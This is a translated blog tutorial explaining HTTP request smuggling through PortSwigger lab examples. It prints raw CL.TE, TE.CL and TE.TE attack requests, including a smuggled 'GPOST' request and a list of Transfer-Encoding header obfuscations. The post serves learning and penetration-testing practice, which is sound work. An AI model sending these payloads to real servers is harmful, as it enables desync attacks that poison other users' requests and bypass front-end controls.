HTTP Request Smuggling as I understand it

principle

There are two ways to determine the request body of an HTTP request

  • Use the Content-Length field to determine the content length of the request body
  • Use the Transfer-Encoding field to determine the end position of the request body

Content-Length

normal post request, will bring the request body(body),how long the request body is, Content-Length What is the value of

Transfer-Encoding

Transfer-Encoding It is the sign of block transmission, it does not rely on Content-Length to tell web How long is the server request body? Instead, it relies on the character 0 to represent the end of the block, and then wraps the line twice.(The point! ! !)
  • Chunked transfer format
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

3
aaa
5
aa
a
0

The above line represents 3 paragraphs, the first paragraph is 3 a, the second paragraph is 2 a and a \r and a \n and then 1 a, the third paragraph is empty
The 3 above aaa is the length, which means that the first segment has 3 bytes. Similarly, the second segment plus the change sign is 5 bytes, the last segment is empty, it is 0 bytes, but there are 2 newlines at the end to indicate the end
Note again that the length is expressed in hexadecimal, that is, the following byte length is 27, then the length is 1b

type

A request smuggling attack involves putting Content-Length and Transfer-Encoding headers into a single HTTP request and manipulating those requests so that front-end and back-end servers handle requests differently. The exact way depends on the behavior of these two servers:

  • CL.TE: Frontend servers use Content-Length headers and backend servers use Transfer-Encoding headers.
  • TE.CL: The front-end server uses the transfer-encoding header and the back-end server uses the content-length header.
  • TE.TE: Both the front-end and back-end servers support the transfer-encoding header, but one of the servers can obfuscate the header in a way that avoids processing it.

Actual operation

//The real packet is like this
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 3
Transfer-Encoding: chunked

1\r\n
G\r\n
0\r\n\r\n

CL.TE

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

Because it is CL.TE (the front end recognizes the length CL, and the back end recognizes the block TE)
When the front end sees that the length is 6, it reads 6 bytes, 0\r\n\r\nG, and sends all the data packets to the backend
The backend determines that it is a block, and it ends when it reads 0\r\n. There is still a G left in the buffer of the backend server, and this G will remain in the buffer (usually expires after 10s) and the next a request spliced ​​together

TE.CL

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
0

Because it is TE.CL (the front end recognizes the block TE, and the back end recognizes the length CL)
5c is the data in hexadecimal, converted to 92 in decimal, which is the length of the data packet below 5c
The front end thinks this is a TE data packet, the length of the first data block is 5c(92), and it ends when it encounters 0
So the entire data packet will be sent to the backend server for processing
The back-end server determines that CL, the length of CL is 4, so only 5c is intercepted
5c is obviously two characters, why is the length 4? Because there is another \r\n that you can't see
And the following GPOST...will be considered by the backend as another http packet

TE.TE

There may be an infinite number of ways to obfuscate the Transfer-Encoding header. E.g:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

front end see
Transfer-Encoding: chunked
Transfer-encoding: cow
I think this is still a TE type bag,
But the backend server thinks this is not right and should be seen in CL format

refer to:

https://www.cnblogs.com/linghu-java/p/11193886.html
https://www.jianshu.com/p/6173b56f15e0
https://www.cnblogs.com/sijidou/p/13121343.html

Tags: penetration test

Posted by rix on Sat, 21 May 2022 06:40:03 +0300